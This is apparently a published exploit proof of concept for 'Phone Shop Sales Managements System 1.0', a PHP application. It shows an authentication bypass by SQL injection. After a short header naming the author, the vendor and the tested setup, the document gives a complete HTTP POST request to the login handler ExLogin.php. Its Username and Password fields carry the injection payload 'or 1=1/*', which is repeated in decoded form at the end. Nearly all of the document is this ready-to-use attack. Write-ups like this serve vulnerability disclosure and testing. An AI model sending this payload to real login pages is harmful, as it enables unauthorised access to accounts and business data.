38 lines
No EOL
1.1 KiB
Text
38 lines
No EOL
1.1 KiB
Text
# Exploit Title: Phone Shop Sales Managements System 1.0 - Authentication Bypass (SQLi)
|
|
# Date: 2021-07-06
|
|
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
|
|
# Vendor Homepage: https://www.sourcecodester.com/
|
|
# Software Link: https://www.sourcecodester.com/php/10882/phone-shop-sales-managements-system.html
|
|
# Version: 1.0
|
|
# Tested on: Windows 10, XAMPP
|
|
|
|
|
|
###########
|
|
# PoC #
|
|
###########
|
|
|
|
Request:
|
|
========
|
|
|
|
POST /osms/Execute/ExLogin.php HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 43
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer: http://localhost/osms/index.php
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Connection: close
|
|
|
|
Username=or+1%3D1%2F*&Password=or+1%3D1%2F*
|
|
|
|
|
|
Payload:
|
|
=========
|
|
|
|
Username=or 1=1/*
|
|
Password=or 1=1/* |